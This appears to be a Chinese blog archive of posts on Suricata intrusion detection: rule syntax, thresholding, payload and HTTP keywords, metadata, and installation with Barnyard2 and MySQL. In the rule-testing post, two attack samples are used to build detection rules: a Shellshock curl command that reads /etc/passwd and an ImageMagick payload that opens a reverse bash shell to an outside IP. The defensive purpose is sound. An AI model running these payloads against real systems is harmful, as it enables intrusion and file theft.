标签归档:入侵检测

【suricata】规则测试

规则测试
添加一条规则
alert icmp any any -> any any (msg:"icmp"; sid:1;)
PS:注意最后一定要有; 不然规则不生效
6/14-18:03:36.748615  [**] [1:1:0] snort general alert [**] [Classification ID: 0] [Priority ID: 3] {ICMP} 172.16.100.1 -> 172.16.100.160
INFO: Current event with event_id [13] Event Second:Microsecond [1465898616:748615] and signature id of [1] was logged with a revision of [0]
      Make sure you verify your triggering  rule body so it include the snort keyword "rev:xxx;" Where xxx is greater than 0 
>>>>>>The event has not been logged to the database<<<<<<
修改规则
alert icmp any any -> any any (msg:"icmp"; sid:1000000;rev:1;)
杀死进程,重启
就可以了,必须加上修订版本rev。
06/14-19:01:56.924150  [**] [1:1000000:1] Snort Alert [1:1000000:1] [**] [Classification ID: 0] [Priority ID: 3] {ICMP} 172.16.100.160 -> 172.16.100.1
06/14-19:01:57.927259  [**] [1:1000000:1] Snort Alert [1:1000000:1] [**] [Classification ID: 0] [Priority ID: 3] {ICMP} 172.16.100.1 -> 172.16.100.160
但是发现msg信息并没有显示出来,规则中的msg仅仅起到标示作用,告警msg需要在sid-msg.map中对应查找。我们修改一下/etc/suricata/rules/sid-msg.map,加入一条1000000 || icmp,然后重启barnyard2。

举例:
1)BASH漏洞

curl -A '() { :; }; /bin/cat /etc/passwd' http://172.16.100.160:3000/cgi-bin/poc.cgi
检测的关键字为() {
这里我们用16进制写
添加一条规则:
alert http any any -> any any (msg:"Bash RCE";flow:established,to_server; content:"|28 29 20 7b|"; http_header; classtype:BashRCE; sid:1000002; rev:1;)

2)ImageMagick漏洞
上传图片的内容为:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/106.187.4.9/2345 0>&1")'
pop graphic-context
然后我们新建一条规则:
alert http any any -> any any (msg:"ImageMagick RCE";flow:established,to_server; content:"url(https|3A|//"; http_client_body; classtype:vinc; sid:1000002; rev:1;)
 

【suricata】Rule Thresholding

threshold
规则的写法如下:
threshold: type <threshold|limit|both>, track <by_src|by_dst>, count <N>, seconds <T>
threshold是为了避免产生过多的告警,有三种模式:
1)threshold
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC robots.txt access"; flow:to_server, established; uricontent:"/robots.txt"; nocase; reference:nessus,10302; classtype:web-application-activity; threshold: type threshold, track by_dst, count 10 , seconds 60 ; sid:1852; rev:1;)
60S内每10次则记录一条日志,如果60S内产生少于10次则不记录。一旦记录了一条日志后,进入下一个60S周期。
2)limit
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC robots.txt access"; flow:to_server, established; uricontent:"/robots.txt"; nocase; reference:nessus,10302; classtype:web-application-activity; threshold: type limit, track by_src, count 1 , seconds 60 ; sid:1852; rev:1;)
60S内最多产生1次告警。
3)both
是threshold和limit的结合。
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC robots.txt access"; flow:to_server, established; uricontent:"/robots.txt"; nocase; reference:nessus,10302; classtype:web-application-activity; threshold: type both , track by_dst, count 10 , seconds 60 ; sid:1852; rev:1;)
60S内最多记录一条日志,前提是触发了10次规则。

detection_filter
detection_filter是一个新的规则选项,用于替换threshold,detect_filter关键字可用于在达到阈值后对每个匹配发出警报,与type threshold不同的是,如果阈值达到后type threshold会产生一条告警,然会重置计数器并进入下一个周期,如果达到阈值后会继续告警。
规则的写法如下:
detection_filter: track <by_src|by_dst>, count <N>, seconds <T>
drop tcp 10.1.2.100 any > 10.1.1.100 22 ( \ msg:”SSH Brute Force Attempt”; flow:established,to_server; \ content:”SSH”; nocase; offset:0; depth:4; \ detection_filter: track by_src, count 30, seconds 60; \ sid:1000001; rev:1;)
在60S的周期内,前30次触发不会产生告警,以后每次触发都会产生告警。

【suricata】Payload keywords

content
content关键字在suricata规则中非常重要,大部分规则都要使用这个关键字来匹配数据包中的内容,content中的内容是按字节匹配的,能匹配ASCII码从0-255的字节,可打印字符比如a-z可以直接写,而某些特殊符号或是不可打印的字符则需要使用十六进制来表示。
例如添加一条规则:
alert http any any -> any any (msg:"Http Get Found"; content:"GET";classtype:vinc; sid:1000001; rev:1;)
然后访问snorby页面,告警信息如下:
06/15-00:22:37.461697  [**] [1:1000001:1] Http Get [**] [Classification: vinc test!] [Priority: 1] {TCP} 63.147.242.144:80 -> 172.16.100.160:49876

例如:
alert http any any -> any any (msg:"Http Get Found"; content:"GET";nocase;content:"123";nocase; classtype:vinc; sid:1000001; rev:1;)
此时直接访问http://172.16.100.160:3000/dashboard不会产生告警。
而访问http://172.16.100.160:3000/dashboard?123会产生告警。
注:添加多个content,是与的关系。
以下符号不能在content中出现,需要使用对应的16进制。
"   |22|
;    |3B|
:    |3A|
|    |7C|
如果需要匹配http://,那么需要写成content: “http|3A|//”;
如果一条规则前面有一个“!”。那么那些不包含这些内容的数据包将触发报警。

Nocase
在content字段后加上nocase表示content中的内容不区分大小写。
depth
表示从payload开始多少个字节与content中的内容进行匹配
offset
offset是从payload开头先偏移指定字节再对content进行匹配
distance
distance表示从上一个content匹配的末尾偏移指定数量字符再进行本次的content匹配。
within
表示从上一个content匹配位置之后的指定字节内对当前的content进行匹配,within的值不能为0。
isdataat
isdataat关键字是用来判断指定偏移处的字符是否是数据。
dsize
dsize是用来检测数据包中的payload长度是否在符合要求的范围内,这样可以有效的组织一些缓冲区溢出的攻击。
replace
replace关键字是用来替换匹配到的content中的字符
pcre
允许用户使用与PERL语言相兼容的正则表达式。我们来加一条测试一下:
alert http any any -> any any (msg:"Http Get Found"; pcre:"/123/si"; classtype:vinc; sid:1000001; rev:1;)
其中/s表示圆点元字符(.)匹配所有的字符,包括换行符
/i表示忽略大小写
fast_pattern
suricata对只有一个content关键字的规则使用多模匹配,而对于多个content的规则就对最长对复杂的一个进行多模匹配,而fast_pattern则可以改变这个状况,如果在较短较简单的content字段后加上fast_pattern关键字则会优先匹配这个content,有时这种方法可以有效提升效率。
Flow
这个选项要和TCP流重建联合使用。它允许规则只应用到流量流的某个方向上。这将允许规则只应用到客户端或者服务器端。这将能把内网客户端流览web页面的数据包和内网服务器所发送的数据包区分开来。
选项:
to_client 触发服务器上从A到B的响应。
to_server 触发客户端上从A到B的请求。
from_client 触发客户端上从A到B的请求。
from_server触发服务器上从A到B的响应。
established 只触发已经建立的TCP连接。
stateless 不管流处理器的状态都触发(这对处理那些能引起机器崩溃的数据包很有用。
no_stream 不在重建的流数据包上触发(对dsize 和 stream4 有用。
only_stream 只在重建的流数据包上触发。
PS:这里需要注意客户端和服务端、请求与响应。
修改规则如下:
alert http any any -> any any (msg:"Http Get Found";flow:established,to_server; content:"123"; http_client_body; classtype:vinc; sid:1000001; rev:1;)

【suricata】HTTP keywords

http_method
http_method是content的修饰符,表示其所修饰的content只匹配http method部分。http可以使用的方法包括:GET, POST, PUT, HEAD, DELETE, TRACE, OPTIONS, CONNECT和PATCH。
修改规则如下:
alert http any any -> any any (msg:"Http Get Found"; content:"GET"; http_method; classtype:vinc; sid:1000001; rev:1;)
则会对所有的GET方法告警
http_uri和http_raw_uri
http_uri和http_raw_uri这两个关键字都是说明所修饰的content是用来匹配http uri部分的内容。所不同的是http_uri指在匹配之前先对URI进行标准化,所谓的标准化就是对数据包中的uri按照RFC文档规定进行一定的转化,包括保留语义转化、一般保留语义转化、改变语义转化。
将url中的协议、域名等转化为小写,比如HTTP://www.Example.com/ → http://www.example.com/
将以%开头的转义字符中的字母转化为大写,比如http://www.example.com/a%c2%b1b → http://www.example.com/a%C2%B1b
将以%开头但在可见字符范围内的进行转化,比如http://www.example.com/%7Eusername/ → http://www.example.com/~username/
移出默认的端口号,比如http对应的80端口
而http_raw_uri则是直接对uri进行匹配。
修改规则如下:
alert http any any -> any any (msg:"Http Get Found"; content:"123"; http_uri; classtype:vinc; sid:1000001; rev:1;)
uricontent
uricontent的作用和http_uri相同,都是匹配uri部分的,不同的是uricontent可以独立使用,相当于content+http_uri的效果。
alert http any any -> any any (msg:"Http Get Found"; uricontent:"123"; classtype:vinc; sid:1000001; rev:1;)
http_header和http_raw_header
和http_uri一样,http_header也是只匹配http的header部分的内容(不包括cookie,会匹配UA和Content-type等其他),http_raw_header则是匹配没有标准化过的header(参考HTTP header),简单来说就是标准化的header在每个字段的结尾\r\n之前都会去掉其余的空白字符。
http_cookie
http_cookie从http_header中独立出来
http_user_agent
http_user_agent用于匹配http的User-Agent字段的内容
http_client_body和http_server_body
使用了这两个修饰符的content表示只匹配http包中的内容部分,前者值匹配request包,而后者只匹配response。
需要注意的是suricata会根据suricata.yaml配置文件中的libhtp小节对于这两部分长度限制来进行匹配,也就是说如果想要匹配的内容在数据包中的长度超过了配置文件中的数值,则这条规则不会被匹配到。比如说如果要检测Webshell大马,则需要调整
           #    request-body-limit: 4096
           #    request-body-limit: 4096
alert http any any -> any any (msg:"Http Get Found"; content:"123"; http_client_body; classtype:vinc; sid:1000001; rev:1;)
只要POST内容中包含123就会告警
http_stat_code和http_stat_msg
这两个content修饰符分别匹配response应答包返回的状态码和状态信息
file_data
file_data的作用和http_server_body差不多,都是使content匹配response body中的内容,唯一不同的是使用了file_data关键字的规则,其在file_data之后的content都会受到它的影响。比如下面这条规则,值为”abc”和”xyz”的content都必须在response body里面匹配:
alert http any any -> any any (file_data; content:"abc"; content:"xyz";)
urilen
urilen关键字用于匹配http uri部分的长度,可以使用<和>运算符

【suricata】Meta-settings

msg
msg是一条告警的第一部分,这是一个规则编写的惯例。例如:
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"Acunetix Web Vulnerability Scanner";flow:established,to_server; content:"Acunetix";nocase;classtype:webscan; sid:1000100; rev:1;)
sid(signature id)
sid需要确保唯一性。sid 的范围是如下分配的:
<100 保留做将来使用
100-1000,000 包含在snort发布包中
>1000,000 作为本地规则使用
sid-msg.map
格式:sid || msg
此文件作用是将sid与msg的一一对应,否则,在告警中会msg会出现[1:1000000:1] 
此文件用于自定义规则中sid与msg的对应和在snort自有规则中自定义告警信息。 [1:1000000:1] 其中内容对应为Snort alert[gid:sid:rev]。这说明一个规则需要这三个因素才能确定,之前说只有sid唯一标示一条规则是不严谨的。
gid
generate id,作用是为了说明这条规则是snort的哪部分触发的。比如是由解码器、预处理器还是Snort自有规则等。
gid默认为1
/etc/snort/preproc_rules/decoder.rules中的一条规则:
alert ( msg:"DECODE_IP6_EXCESS_EXT_HDR"; sid:456; gid:116; rev:1; metadata:rule-type decode; classtype:misc-activity; )
gen-msg.map
这个文件和sid-msg.map作用类似,在逻辑上应该是包含了sid-msg.map(sid-msg.map相当于默认gid为1)
格式:generatorid || alertid(sid) || MSG
例子:
1   || 1 || snort general alert
129 || 2 || stream5: Data on SYN packet
规则中的msg仅仅起到标示作用,告警msg需要在sid-msg.map和gen-msg.map这两个文件中对应查找。
rev
这个关键字是被用来识别规则修改的版本,需要和sid,gid配合使用。 这样就介绍完了gid,sid,rev三个确定规则唯一的元素。
reference
外部攻击参考,这个关键字允许规则包含一个外面的攻击识别系统。这个插件目前支持几种特定的系统,这些插件被输出插件用来提供一个关于产生报警的额外信息的连接。
reference.config
格式:config reference: system URL
例子: config reference: cve http://cve.mitre.org/cgi-bin/cvename.cgi?name= 定义了一些外部安全网站的网址。比如规则中定义reference: cve,1001,那么就像在上面的网址后面添加了1001,http://cve.mitre.org/cgi-bin/cvename.cgi?name=1001,最后点击告警中的[cve],就会跳转到相应的网址。注:reference也需要在sid-msg.map中与sid对应,否则不起作用,类比msg。
classtype
规则类别标识。这个关键字把报警分成不同的攻击类。通过使用这个关键字和使用优先级,用户可以指定规则类中每个类型所具有的优先级。
例如我们classification.config中找一个分类misc-activity
[root@vincent rules]# cat ../classification.config | grep misc-activity
config classification: misc-activity,Misc activity,3
然后在修改规则为:
alert icmp any any -> any any (msg:"icmp"; classtype:misc-activity; sid:1000000; rev:1;)
看一下告警信息:
06/14-22:29:23.227709  [**] [1:1000000:1] icmp [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.100.160 -> 172.16.100.1
然后我们想要新加一个分类:
在classification.config中新增加一行:
config classification: vinc,vinc test!,1
然后修改规则为:
alert icmp any any -> any any (msg:"icmp"; classtype:vinc; sid:1000000; rev:1;)
看下告警:
06/14-22:38:39.406635  [**] [1:1000000:1] icmp [**] [Classification: vinc test!] [Priority: 1] {ICMP} 172.16.100.160 -> 172.16.100.1
priority
设置classtype的优先级。classtype和priority是配合使用的,classification.config文件将其联系起来。
该字段的值范围从1-255,在suricata中数字越小表示优先级越高,也就是说如果两条规则都能匹配,则优先匹配priority字段小的规则。
classification.config
格式: config classification:shortname,short description,priority
例子: config classification: attempted-admin,Attempted Administrator Privilege Gain,1 写在此文件中的都是默认值,priority关键词可以在规则中重写优先级。 例子: alert tcp any any -> any 80 (msg:"EXPLOIT ntpdx overflow"; dsize:>128; classtype:attempted-admin; priority:10 );

PS:需要注意的是第一个字段shortname不能有空格,如果有空格会导致规则不生效。自带的规则中都是用-连接。

suricata入侵检测系统的安装部署

Suricata 是一个网络入侵检测和阻止引擎,该引擎是多线程的,内置 IPv6 的支持,可加载预设规则,支持 Barnyard 和 Barnyard2 工具。suricata会产生名为unified2的二进制文件,Barnyard2是一个分析程序,可以解析unified2格式,然后将告警发送到Mysql中。
安装依赖包
#yum install -y gcc flex bison zlib libpcap tcpdump gcc-c++ pcre* zlib* libdnet libdnet-devel
0x01、下载daq并安装
#tar zxvf daq-2.0.4.tar.gz
#cd daq-2.0.4
#./configure && make && make install
0x02、下载libdnet并安装
#tar zxvf libdnet-1.12.tgz
#cd libdnet-1.12
#./configure && make && make install
0x03、下载Barnyard2并安装
yum install libtool libpcap libpcap-devel
cd /opt #切换目录
wget -O barnyard2.zip –no-check-certificate https://codeload.github.com/firnsy/barnyard2/zip/master
#下载安装文件并重命名
unzip barnyard2.zip #解压安装文件
cd barnyard2-master/
./autogen.sh
./configure –with-mysql-libraries=/usr/lib64/mysql/ #编译安装
make && make install

PS:

[root@localhost barnyard2-master]# ./autogen.sh
Found libtoolize
autoreconf: Entering directory `.'
autoreconf: configure.ac: not using Gettext
autoreconf: running: aclocal -I m4 --output=aclocal.m4t
This Perl not built to support threads
Compilation failed in require at /usr/share/automake-1.11/Automake/ChannelDefs.pm line 23.
BEGIN failed--compilation aborted at /usr/share/automake-1.11/Automake/ChannelDefs.pm line 26.
Compilation failed in require at /usr/share/automake-1.11/Automake/Configure_ac.pm line 26.
BEGIN failed--compilation aborted at /usr/share/automake-1.11/Automake/Configure_ac.pm line 26.
Compilation failed in require at /usr/bin/aclocal line 39.
BEGIN failed--compilation aborted at /usr/bin/aclocal line 39.
autoreconf: aclocal failed with exit status: 255
You can now run "./configure" and then "make".

[root@localhost barnyard2-master]# perl -V | grep thread
useithreads=undef, usemultiplicity=undef

解决方法:

[root@localhost barnyard2-master]# yum reinstall perl

0x04、下载Suricata并安装
Suricata需要依赖yaml,首先安装yaml
cd /opt #切换到opt目录
下载yaml:
wget http://pyyaml.org/download/libyaml/yaml-0.1.4.tar.gz
tar zxvf yaml-0.1.4.tar.gz
./configure
make
make install

下载Suricata并安装
tar zxvf suricata-1.4.7.tar.gz
./configure
make
make install
ldconfig

0x05、配置Suricata、Barnyard 2
配置Barnyard 2
#把Barnyard 2安装源文件中的etc/barnyard2.conf文件拷贝到Suricata的配置目录下
mkdir /etc/suricata #创建一个目录
cd /opt/barnyard2-master/
cp etc/barnyard2.conf /etc/suricata/

#创建barnyard2日志目录/var/log/barnyard2
mkdir /var/log/barnyard2
需要创建数据库和相应的账号
mysql> create database ids;
mysql> grant create,select,update,insert,delete on ids.* to ids@localhost identified by ‘ids123’;
Barnyard 2安装源文件中的schemas/create_mysql是创建表的sql文件,通过如下方式建表:
mysql -uids -p -Dids < ids/barnyard2-1.9/schemas/create_mysql
配置Suricata
创建Suricata配置目录和日志目录
mkdir /var/log/suricata

把规则文件拷贝到Suricata配置目录下(这里首先,我们要下载下)
wget http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz
tar zxvf emerging.rules.tar.gz
cp -R /opt/rules/ /etc/suricata/
cp /opt/rules/sid-msg.map /etc/suricata/

把Suricata安装源文件中的suricata.yaml/classification.config/reference.config文件拷贝到Suricata的配置目录下
cd /opt/suricata-1.4.7
cp suricata.yaml classification.config reference.config /etc/suricata/

编辑并修改barnyard2.conf文件
vi /etc/suricata/barnyard2.conf
找到下面的内容

config reference_file: /etc/snort/reference.config
config classification_file: /etc/snort/classification.config
config gen_file: /etc/snort/gen-msg.map
config sid_file: /etc/snort/sid-msg.map
更改为的内容如下:

config reference_file: /etc/suricata/reference.config
config classification_file: /etc/suricata/classification.config
config gen_file: /etc/suricata/rules/gen-msg.map
config sid_file: /etc/suricata/rules/sid-msg.map

同时在文件的末尾添加如下行。
output database: log, mysql, user=ids password=ids123 dbname=ids host=localhost
如果已经安装了snorby的话,snorby会自动创建数据库和表结构,所以直接使用snorby即可。
output database: log, mysql, user=root password=hehe123 dbname=snorby host=localhost

找到“config hostname”和“config interface”,按照你的实际情况修改
config hostname: PgHook-001 #这里是hostname,随便改
config interface: eth0 #这里是镜像端口所在的网卡

编辑suricata.yaml文件
vi /etc/suricata/suricata.yaml
找到HOME_NET: “[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]”
这一行,根据实际的网络情况来修改,在这里我修改为
HOME_NET: “[192.168.0.0/16,172.16.0.0/12]”

HOME_NET为IP地址组,可以在规则中直接调用,例如:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:”GPL ICMP Photuris Reserved”; icode:0; itype:40; classtype:misc-activity; sid:2100429; rev:7;)

找到 default-rule-path: /usr/local/etc/suricata/rules
改成 default-rule-path: /etc/suricata/rules

找到default-log-dir: /usr/local/var/log/suricata/
改成 default-log-dir: /var/log/suricata/

找到
#default-log-format: “[%i] %t – (%f:%l) <%d> (%n) — ”
把前面的注释去掉

outputs选项下有很多可以输出的配置选项,包括警告、检测的数据包、产生的结果等。在配置的过程中并不需要开启每一种输出,根据自己的需求进行配置,只开启unified2.alert即可,将fast.log等其他项修改为no。
– unified2-alert:
enabled: yes
filename: unified2.alert

找到
outputs:
– console:
enabled: yes
– file:
enabled: no
filename: /var/log/suricata.log
– syslog:
enabled: no
facility: local5
format: “[%i] <%d> — ”
改成:
outputs:
– console:
enabled: no
– file:
enabled: yes
filename: /var/log/suricata.log
– syslog:
enabled: no
facility: local5
format: “[%i] <%d> — ”
只需要输出到file,不需要终端和syslog。
找到
classification-file: /usr/local/etc/suricata/classification.config
reference-config-file: /usr/local/etc/suricata/reference.config
改成
classification-file: /etc/suricata/classification.config
reference-config-file: /etc/suricata/reference.config

找到
#pid-file: /var/run/suricata.pid
把前面的#号去掉

找到rule-files,把下面的
emerging-icmp.rules 和emerging-virus.rules删除掉。

找到#threshold-file: /etc/suricata/threshold.config
把#号去掉
cp /opt/suricata-1.4.7/threshold.config /etc/suricata/

/usr/local/bin/barnyard2 -c /etc/suricata/barnyard2.conf -d /var/log/suricata -f unified2.alert -w /var/log/suricata/suricata.waldo -D
-c为加载配置文件
-d用于指定suricata产生的二进制文件保存目录
-f 二进制文件特征
-w 书签文件,用户记录读取了多少行
-D 后台运行

123

123

sudo /usr/local/bin/suricata -c /etc/suricata/suricata.yaml -i eth0 -D
启动suricata的-i参数是镜像流量的网卡
产生的告警文件:
[root@vincent suricata]# ll
总用量 172
-rw-r—– 1 root root 34202 6月 13 02:11 fast.log
-rw-r—– 1 root root 57755 6月 13 02:14 stats.log
-rw-r–r– 1 root root 0 6月 13 02:09 suricata.waldo
-rw-r—– 1 root root 70302 6月 13 02:11 unified2.alert.1465755006

然后查看数据库中的内容

123